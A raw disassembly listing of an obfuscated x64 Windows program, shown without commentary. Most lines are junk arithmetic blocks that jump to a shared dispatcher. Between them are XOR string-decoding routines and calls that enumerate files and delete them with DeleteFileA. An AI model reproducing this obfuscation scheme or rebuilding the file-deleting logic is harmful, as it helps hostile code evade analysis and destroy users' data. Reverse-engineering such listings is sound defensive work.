xor eax, 0xbafb3c52
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xddb1cdde
xor eax, 0xe28f8446
rol eax, 0x29
popf
pushf
not eax
add eax, 0xe4e7b51f
xor eax, 0xc86ed7ce
rol eax, 0x2e
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x66f7d842
pushf
not eax
add eax, 0x96dae142
xor eax, 0xc4b6717e
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xcbf07088
xor eax, 0xe7ad8317
rol eax, 0x8f
popf
pushf
not eax
add eax, 0x99202b1d
xor eax, 0xf5b6f471
rol eax, 0x92
popf
jmp 0x1404492b1
mov r9, qword [rdi]
push rax
pushf
mov eax, 0x4973c937
pushf
not eax
add eax, 0xec76ed88
xor eax, 0x859d5fa9
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xd6520c9f
xor eax, 0x985577cf
rol eax, 0xf9
popf
jmp 0x1404492b1
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, bl
lea rcx, [rsp + 0x70]
call fcn.14013d850
nop
lea rax, [rbp + 0x3c]
mov r8, 0xffffffffffffffff
nop
push rax
pushf
mov eax, 0x3878212b
pushf
not eax
add eax, 0x8056229f
xor eax, 0x8f181825
rol eax, 0x31
popf
pushf
not eax
add eax, 0x8f314ab2
xor eax, 0xf173b2c2
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xa1fd4cd6
xor eax, 0x9f2dd6c5
rol eax, 0xd
popf
pushf
not eax
add eax, 0x90c8ecab
xor eax, 0x93726d36
rol eax, 0xe8
popf
jmp 0x1404492b1
inc r8
cmp byte [rax + r8], 0
jne 0x14044a918
push rax
pushf
mov eax, 0xdc96e577
pushf
not eax
add eax, 0x8b68b427
xor eax, 0xb4f32422
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xa4522e79
xor eax, 0xbf94724a
rol eax, 0
popf
pushf
not eax
add eax, 0x96440fd6
xor eax, 0xb2d7e2c5
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xf5e19d8f
xor eax, 0xc43cb7d1
rol eax, 0x10
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xcad6354a
pushf
not eax
add eax, 0x800e9834
xor eax, 0xa7ef4a54
rol eax, 0x88
popf
pushf
not eax
add eax, 0xcad9a2cd
xor eax, 0xe948cc11
rol eax, 0x68
popf
pushf
not eax
add eax, 0x8399081c
xor eax, 0x956f5d01
rol eax, 0xc8
popf
jmp 0x1404492b1
lea rdx, [rbp + 0x3c]
lea rcx, [rsp + 0x70]
call fcn.14013b1d0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14044a9fc
push rax
pushf
mov eax, 0x7cbf738
pushf
not eax
add eax, 0xaf994d27
xor eax, 0xce5fb767
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xb1662c48
xor eax, 0xff3e4cdc
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xf32800f0
xor eax, 0xde1fafaa
rol eax, 0xe
popf
pushf
not eax
add eax, 0xc707273c
xor eax, 0xec4d0cb6
rol eax, 0xf8
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x604c667f
pushf
not eax
add eax, 0xc099c030
xor eax, 0x84913e56
rol eax, 0x78
popf
pushf
not eax
add eax, 0xa6779e65
xor eax, 0xbf92e2fd
rol eax, 0xb8
popf
jmp 0x1404492b1
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14044aa89
push rax
pushf
mov eax, 0x145a0087
pushf
not eax
add eax, 0xe25b265a
xor eax, 0xfaf688f9
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xddd18355
xor eax, 0xcc26df42
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xbd02d3cf
xor eax, 0x93e23917
rol eax, 0xa8
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x4f6f2355
pushf
not eax
add eax, 0xa3faf3fd
xor eax, 0xc5322a66
rol eax, 0x93
popf
pushf
not eax
add eax, 0xda92a58c
xor eax, 0x88d9395d
rol eax, 0xd4
popf
pushf
not eax
add eax, 0x829b73c4
xor eax, 0x9482aff1
rol eax, 0xbc
popf
jmp 0x1404492b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14044ab1b
push rax
pushf
mov eax, 0x20c15cd0
pushf
not eax
add eax, 0xb0f62634
xor eax, 0xe8927af5
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x979a82a7
xor eax, 0xe4150a00
rol eax, 0x31
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x11481be
pushf
not eax
add eax, 0xccc25d98
xor eax, 0x8586821b
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xb14519ef
xor eax, 0x8a3cad0d
rol eax, 0x92
popf
jmp 0x1404492b1
call fcn.140432633
push rax
pushf
mov eax, 0x6118f24
pushf
not eax
add eax, 0xe89828a5
xor eax, 0xe938d566
rol eax, 0x35
popf
pushf
not eax
add eax, 0xf271e684
xor eax, 0xd5b06eab
rol eax, 1
popf
jmp 0x1404492b1
mov eax, dword [0x1403caa90]
mov dword [rsp + 0x68], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x70], 0
mov qword [rbp - 0x78], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x80], r15
mov byte [rsp + 0x68], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x69], 0x39
xor byte [rsp + 0x6a], 0x3a
xor byte [rsp + 0x6b], 0x3b
xor al, 0x3c
mov byte [rsp + 0x6c], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], r15
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
push rax
pushf
mov eax, 0x35ab4867
pushf
not eax
add eax, 0xde21c44c
xor eax, 0xa8298a88
rol eax, 0x42
popf
pushf
not eax
add eax, 0xd0f8d1c1
xor eax, 0x886e4b8c
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x9a45939f
xor eax, 0x887fc193
rol eax, 0x40
popf
jmp 0x1404492b1
inc r8
cmp byte [rax + r8], 0
jne 0x14044ac7a
push rax
pushf
mov eax, 0xbdfa76d2
pushf
not eax
add eax, 0xe1d9fbf3
xor eax, 0xa1ef1d58
rol eax, 0x70
popf
pushf
not eax
add eax, 0x886cf8fd
xor eax, 0xd490c4ed
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xf759ff77
xor eax, 0xe703b454
rol eax, 0xab
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x23d20186
pushf
not eax
add eax, 0xbebf5f34
xor eax, 0xd367a7a4
rol eax, 0x26
popf
pushf
not eax
add eax, 0x94ef03d1
xor eax, 0xe995c2a5
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xa1b242f5
xor eax, 0x9246545f
rol eax, 0x53
popf
jmp 0x1404492b1
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x40]
call fcn.14013d0f0
nop
mov r13, qword [rbp - 0x28]
mov r15, qword [rbp - 0x40]
mov rax, qword [rbp - 0x60]
mov rsi, qword [rbp - 0x30]
cmp rax, rsi
jb 0x14044ad2e
push rax
pushf
mov eax, 0x71a59b2e
pushf
not eax
add eax, 0xeb6b9664
xor eax, 0x9b58ea05
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xa2b274eb
xor eax, 0xfc52d4e6
rol eax, 0x47
popf
pushf
not eax
add eax, 0xea67b801
xor eax, 0xc2bb7409
rol eax, 0xe3
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xb27e56b6
pushf
not eax
add eax, 0xd82d0877
xor eax, 0x96e91f7c
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xa3e0b812
xor eax, 0xcd64730c
rol eax, 0x47
popf
pushf
not eax
add eax, 0xfde4e785
xor eax, 0x99743f0f
rol eax, 0xec
popf
pushf
not eax
add eax, 0xb55cb874
xor eax, 0xfa3bf290
rol eax, 0x17
popf
jmp 0x1404492b1
mov rcx, rax
sub rcx, rsi
cmp rax, rcx
jb 0x14044adc9
push rax
pushf
mov eax, 0xfd7c222f
pushf
not eax
add eax, 0xb0e905e3
xor eax, 0x87f2cc80
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xb2590ad3
xor eax, 0xe522ff06
rol eax, 0xd1
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x4c4123ef
pushf
not eax
add eax, 0xe43d2d89
xor eax, 0x902bd53b
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xd04ef480
xor eax, 0x8f53fa0b
rol eax, 0x1d
popf
jmp 0x1404492b1
lea rdx, [rbp - 0x40]
cmp r13, 0xf
cmova rdx, r15
sub rax, rcx
mov r14, rsi
cmp rax, rsi
cmovb r14, rax
lea rax, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
seta byte [rsp + 0x40]
mov r12, qword [rbp - 0x70]
cmova rax, r12
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov r8, r14
cmp rsi, r14
cmovb r8, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14044ae81
push rax
pushf
mov eax, 0x27ada8f1
pushf
not eax
add eax, 0xede97c44
xor eax, 0xbe1c089c
rol eax, 0x43
popf
pushf
not eax
add eax, 0xf6352397
xor eax, 0xb4f64521
rol eax, 0x64
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x43a00ce5
pushf
not eax
add eax, 0x9ee6de7a
xor eax, 0x8cbfea0a
rol eax, 0xab
popf
pushf
not eax
add eax, 0xe392fb8b
xor eax, 0xaa6ac14b
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xb72ef74d
xor eax, 0xd2ae2888
rol eax, 0x19
popf
pushf
not eax
add eax, 0x881e27d2
xor eax, 0xadc00c24
rol eax, 0xe0
popf
jmp 0x1404492b1
cmp r14, rsi
jb 0x14044af3c
push rax
pushf
mov eax, 0xba3265ae
pushf
not eax
add eax, 0xf18d43b2
xor eax, 0xa43b9610
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x9c101347
xor eax, 0xeb764256
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x8531ffc3
xor eax, 0xbf49d68c
rol eax, 0x47
popf
pushf
not eax
add eax, 0xdb33c760
xor eax, 0xb59eca06
rol eax, 0x1e
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x68acd496
pushf
not eax
add eax, 0xfcd02c36
xor eax, 0xeeea112d
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xcfa60cf2
xor eax, 0xce877704
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x9fdd3c26
xor eax, 0xb2fdb44f
rol eax, 0xdd
popf
jmp 0x1404492b1
ja 0x14044afe1
push rax
pushf
mov eax, 0xf366aa0c
pushf
not eax
add eax, 0xc2a9eec8
xor eax, 0x8780ecd5
rol eax, 0xa1
popf
pushf
not eax
add eax, 0x86a36021
xor eax, 0xf30d19db
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xfdb631d7
xor eax, 0x83847b1d
rol eax, 0x19
popf
pushf
not eax
add eax, 0x85243f27
xor eax, 0xc969d6c7
rol eax, 0x1e
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xb07b76d
pushf
not eax
add eax, 0x8b7ddaac
xor eax, 0xe4f41d18
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xa34fb595
xor eax, 0xdb883759
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xa7dba8eb
xor eax, 0xdd512848
rol eax, 0xa0
popf
jmp 0x1404492b1
lea rcx, [rbp - 0x70]
cmp byte [rsp + 0x40], al
cmovne rcx, r12
jmp 0x14044b034
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14044b088
push rax
pushf
mov eax, 0x179c5204
pushf
not eax
add eax, 0xa4e42c27
xor eax, 0xc2804880
rol eax, 0x32
popf
pushf
not eax
add eax, 0xa8729089
xor eax, 0xeb68e1af
rol eax, 0x71
popf
pushf
not eax
add eax, 0xe11e6f45
xor eax, 0xff930254
rol eax, 0x61
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xbea077fb
pushf
not eax
add eax, 0x8e832418
xor eax, 0xf85cfd3f
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xcb87f940
xor eax, 0xd80c1424
rol eax, 0xc3
popf
jmp 0x1404492b1
movups xmm0, xmmword [str.XSWYY]
movups xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [0x1403cc070]
movsd qword [rbp - 0x80], xmm0
cmp byte [reloc.WLDAP32.dll_Ordinal_79], al
je 0x14044b113
push rax
pushf
mov eax, 0xccd38f1f
pushf
not eax
add eax, 0xd01d33e6
xor eax, 0xc3d48833
rol eax, 0x68
popf
pushf
not eax
add eax, 0xe72390a1
xor eax, 0xc9f69ae5
rol eax, 3
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xfef62216
pushf
not eax
add eax, 0xccc4201d
xor eax, 0xdb5988da
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xeb9c27df
xor eax, 0xbd323c74
rol eax, 0x59
popf
pushf
not eax
add eax, 0xbde8af9a
xor eax, 0xce5a57c5
rol eax, 0x95
popf
jmp 0x1404492b1
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14044b199
push rax
pushf
mov eax, 0xc243fea0
pushf
not eax
add eax, 0xb9bfd2b2
xor eax, 0x997e878f
rol eax, 0x57
popf
pushf
not eax
add eax, 0x9a87c257
xor eax, 0xcbe4bfad
rol eax, 0x4e
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xc75e6143
pushf
not eax
add eax, 0x8eefb2dd
xor eax, 0x9530a49a
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xdf0ec446
xor eax, 0xa38ba431
rol eax, 0x41
popf
pushf
not eax
add eax, 0xc4effa70
xor eax, 0x80d528ad
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xbab902d5
xor eax, 0xc2883199
rol eax, 0x72
popf
jmp 0x1404492b1
movdqa xmm5, xmmword [0x1403cc610]
xor edx, edx
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm6, xmmword [0x1403cc630]
movdqa xmm0, xmmword [0x1403cc660]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x74]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
push rax
pushf
mov eax, 0xcb5e55c
pushf
not eax
add eax, 0xc8862dce
xor eax, 0xe72763cc
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xa8b0c5fa
xor eax, 0xc3391b2b
rol eax, 0x5d
popf
jmp 0x1404492b1
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x14044b3b6
push rax
pushf
mov eax, 0x80c04692
pushf
not eax
add eax, 0xf7b9c1fa
xor eax, 0xe0c27bbc
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xe496d643
xor eax, 0xe8e0e621
rol eax, 0xd1
popf
pushf
not eax
add eax, 0x84e11398
xor eax, 0xd84a7678
rol eax, 0xda
popf
pushf
not eax
add eax, 0xe6fe5ca4
xor eax, 0xb42b18a9
rol eax, 0x2e
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xbafa9b6e
pushf
not eax
add eax, 0xb5b3f6c5
xor eax, 0x9b7716c3
rol eax, 0x28
popf
pushf
not eax
add eax, 0xdf3a82c8
xor eax, 0xe4d252aa
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xfc9ad67d
xor eax, 0x91e1461a
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xf755f336
xor eax, 0xed88dac1
rol eax, 0xa0
popf
jmp 0x1404492b1
jmp 0x14044b586
lea r9, [rsp + 0x70]
xor r8d, r8d
nop word [rax + rax]
push rax
pushf
mov eax, 0x12784ea9
pushf
not eax
add eax, 0x84a70e21
xor eax, 0xf8cfa475
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x82d85908
xor eax, 0xd047acf1
rol eax, 0x19
popf
pushf
not eax
add eax, 0xc661c0c9
xor eax, 0xb6845b68
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xb48d8b65
xor eax, 0x9da94e02
rol eax, 0x86
popf
jmp 0x1404492b1
mov eax, 0xcd0ceb02
pushf
not eax
add eax, 0xe4d1f1a9
xor eax, 0xbac53a1b
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xe88cd8f2
xor eax, 0xce548c4c
rol eax, 0x62
popf
pushf
not eax
add eax, 0xb4486d5c
xor eax, 0xdc75f7a6
rol eax, 0x61
popf
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul edx, eax, 0x37
movzx eax, r8b
sub al, dl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14044b553
push rax
pushf
mov eax, 0x2ba6cb64
pushf
not eax
add eax, 0xbf26babc
xor eax, 0xd873c324
rol eax, 0xc1
popf
pushf
not eax
add eax, 0x90c7f316
xor eax, 0x9eaf9a2f
rol eax, 0xc7
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xa8c7fa52
pushf
not eax
add eax, 0xeda08890
xor eax, 0x9e83fc64
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xac13eb41
xor eax, 0xd6a11c6e
rol eax, 0xcb
popf
jmp 0x1404492b1
lea rdx, [rsp + 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14013c9b0
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rdx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x60]
mov rcx, rax
call fcn.14013dbf0
lea rdx, [0x180965b5e]
pushf
sub rdx, 0x40828fde
popf
mov rcx, rax
jmp 0x14044b5c7
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
push rax
pushf
mov eax, 0x9424b341
pushf
not eax
add eax, 0xbb787863
xor eax, 0xd943e030
rol eax, 0x38
popf
pushf
not eax
add eax, 0xbea18fe2
xor eax, 0xbacf0129
rol eax, 0x53
popf
pushf
not eax
add eax, 0xb0f38e10
xor eax, 0xda4adaac
rol eax, 7
popf
jmp 0x1404492b1
movabs r12, 0x4947fffc0a849d81
pushf
not r12
add r12, 0x7375650b
xor r12, 0x68f5fde3
rol r12, 0xcd
popf
pushf
not r12
add r12, 0x44048b8d
xor r12, 0x6348cb4a
rol r12, 0x10
popf
mov r14, qword [rsp + 0x48]
push rax
pushf
mov eax, 0x749ba7b4
pushf
not eax
add eax, 0x8bc10e41
xor eax, 0x930d467c
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xea819b67
xor eax, 0xefe2374c
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xed2122a8
xor eax, 0xddb9208c
rol eax, 0x4f
popf
jmp 0x1404492b1
mov esi, dword [reloc.WS2_32.dll_accept]
cmp r13, 0xf
jbe 0x14044b6d9
push rax
pushf
mov eax, 0x40042907
pushf
not eax
add eax, 0x80e61683
xor eax, 0xcbb694f9
rol eax, 2
popf
pushf
not eax
add eax, 0xfff625ec
xor eax, 0xd2982561
rol eax, 0x59
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x70ca6f76
pushf
not eax
add eax, 0xc0f49630
xor eax, 0xd345ce86
rol eax, 0xd
popf
pushf
not eax
add eax, 0xbbd8f375
xor eax, 0xbed103e7
rol eax, 0x5e
popf
jmp 0x1404492b1
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x14044b762
push rax
pushf
mov eax, 0xdcfc5ac0
pushf
not eax
add eax, 0x8864f87b
xor eax, 0x9a1cfe5f
rol eax, 0x17
popf
pushf
not eax
add eax, 0x883e0c16
xor eax, 0xf0545935
rol eax, 0x89
popf
pushf
not eax
add eax, 0xd251c603
xor eax, 0xf040235b
rol eax, 0xff
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x142d76b6
pushf
not eax
add eax, 0xd82f0051
xor eax, 0xa2c41bcd
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xaaa2a0ba
xor eax, 0xfba1db49
rol eax, 1
popf
pushf
not eax
add eax, 0xb7aacca5
xor eax, 0xdc035132
rol eax, 0xed
popf
pushf
not eax
add eax, 0xe98ff74c
xor eax, 0xc222910d
rol eax, 0x6b
popf
jmp 0x1404492b1
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14044b819
push rax
pushf
mov eax, 0x2c02fb0d
pushf
not eax
add eax, 0xaf0f48a7
xor eax, 0xf932a08e
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xa1d107b7
xor eax, 0xde27dbb7
rol eax, 0x70
popf
pushf
not eax
add eax, 0xfbe96f64
xor eax, 0xaff03390
rol eax, 0x81
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xd9abf04f
pushf
not eax
add eax, 0xb1d1b468
xor eax, 0xa503f524
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xd34c0bcc
xor eax, 0x8db896a9
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xe2f7a2a6
xor eax, 0xc2670147
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xf25f0301
xor eax, 0xc5c621ff
rol eax, 0xfa
popf
jmp 0x1404492b1
mov rcx, r15
call fcn.140432633
nop
push rax
pushf
mov eax, 0x1a0ca482
pushf
not eax
add eax, 0xd0b601a4
xor eax, 0xaf2f7a77
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xbdbdf6cd
xor eax, 0x92563fd4
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xaacc36d7
xor eax, 0xfa5ca2e7
rol eax, 0x88
popf
jmp 0x1404492b1
mov r8, qword [rbp - 0x58]
cmp r8, 0xf
jbe 0x14044b924
push rax
pushf
mov eax, 0x70ac180f
pushf
not eax
add eax, 0xde6384b2
xor eax, 0xc5f68816
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xb37220fe
xor eax, 0x8eda94ec
rol eax, 0xd
popf
pushf
not eax
add eax, 0xa89e0004
xor eax, 0xd1dc0389
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xe5f50f52
xor eax, 0xdf7877a6
rol eax, 0x2e
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x53714dd5
pushf
not eax
add eax, 0xece91b07
xor eax, 0xd80d3f8c
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xb37d008b
xor eax, 0xad913215
rol eax, 0xbb
popf
jmp 0x1404492b1
lea rdx, [r8 + 1]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14044b9c4
push rax
pushf
mov eax, 0xe64364bb
pushf
not eax
add eax, 0xeccaeee9
xor eax, 0xca4f2246
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xf594f65f
xor eax, 0xe952267a
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xd01957bd
xor eax, 0xce002475
rol eax, 0x2f
popf
pushf
not eax
add eax, 0x8161cdff
xor eax, 0xfaf04d82
rol eax, 0x4b
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x407dad62
pushf
not eax
add eax, 0xba6c2858
xor eax, 0xa7a97654
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xcb3a8bb2
xor eax, 0xbc73534c
rol eax, 0x30
popf
jmp 0x1404492b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14044ba56
push rax
pushf
mov eax, 0x8a158c01
pushf
not eax
add eax, 0xc14c1033
xor eax, 0x8745eab7
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xf5d4293d
xor eax, 0x98eb306d
rol eax, 0xfa
popf
pushf
not eax
add eax, 0x8a28c4f9
xor eax, 0xf9a99bd6
rol eax, 0x54
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xee8c09cd
pushf
not eax
add eax, 0x8ee1ec76
xor eax, 0xd2e4ffbb
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xa25f2a26
xor eax, 0xcefec553
rol eax, 0x95
popf
pushf
not eax
add eax, 0xdeded237
xor eax, 0xcd29729f
rol eax, 0x14
popf
jmp 0x1404492b1
call fcn.140432633
push rax
pushf
mov eax, 0x6167064a
pushf
not eax
add eax, 0xf25cf7ee
xor eax, 0x8b5b57e2
rol eax, 0x79
popf
pushf
not eax
add eax, 0xa77eb980
xor eax, 0xaf47af93
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xf09a7a89
xor eax, 0xefa519fe
rol eax, 0x14
popf
jmp 0x1404492b1
xor r15d, r15d
push rax
pushf
mov eax, 0x8215c552
pushf
not eax
add eax, 0xdfdb5292
xor eax, 0xcac08860
rol eax, 0xc7
popf
pushf
not eax
add eax, 0x905904b0
xor eax, 0x93be6869
rol eax, 0x72
popf
pushf
not eax
add eax, 0x86227038
xor eax, 0x96ffad72
rol eax, 0x38
popf
pushf
not eax
add eax, 0xc2a15432
xor eax, 0xdd9c02d6
rol eax, 0xb8
popf
jmp 0x1404492b1
lea rdx, [rbp + 0x10]
mov rcx, r14
jmp 0x14044bb4b
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x14044bb9f
push rax
pushf
mov eax, 0x1c34b2af
pushf
not eax
add eax, 0xa53e9b5e
xor eax, 0xb582fb79
rol eax, 0x54
popf
pushf
not eax
add eax, 0xe02cfcb5
xor eax, 0xcea5baca
rol eax, 0x55
popf
pushf
not eax
add eax, 0xac7ad822
xor eax, 0xd34dac90
rol eax, 0xb6
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x95c8ac22
pushf
not eax
add eax, 0xe45a175d
xor eax, 0x89d5732f
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x8700e755
xor eax, 0x969f270c
rol eax, 0x30
popf
pushf
not eax
add eax, 0xf84cd4d7
xor eax, 0x8aec3f75
rol eax, 0xa6
popf
jmp 0x1404492b1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x14044bc3b
push rax
pushf
mov eax, 0xb9689500
pushf
not eax
add eax, 0xc709d055
xor eax, 0x881d3151
rol eax, 0x64
popf
pushf
not eax
add eax, 0xeb87be1f
xor eax, 0x9a564b9c
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xfe361c78
xor eax, 0xe8d07ae6
rol eax, 0x5d
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x597edc52
pushf
not eax
add eax, 0xd1ed8982
xor eax, 0xe227a9fb
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x9f288ab7
xor eax, 0xba047764
rol eax, 0xe7
popf
jmp 0x1404492b1
movups xmm0, xmmword [0x1403cb930]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1403cb940]
movups xmmword [rbp - 0x30], xmm1
mov eax, dword [0x1403cb950]
mov dword [rbp - 0x20], eax
movzx eax, word [0x1403cb954]
mov word [rbp - 0x1c], ax
movzx eax, byte [0x1403cb956]
mov byte [rbp - 0x1a], al
mov ecx, r15d
cmp esi, 2
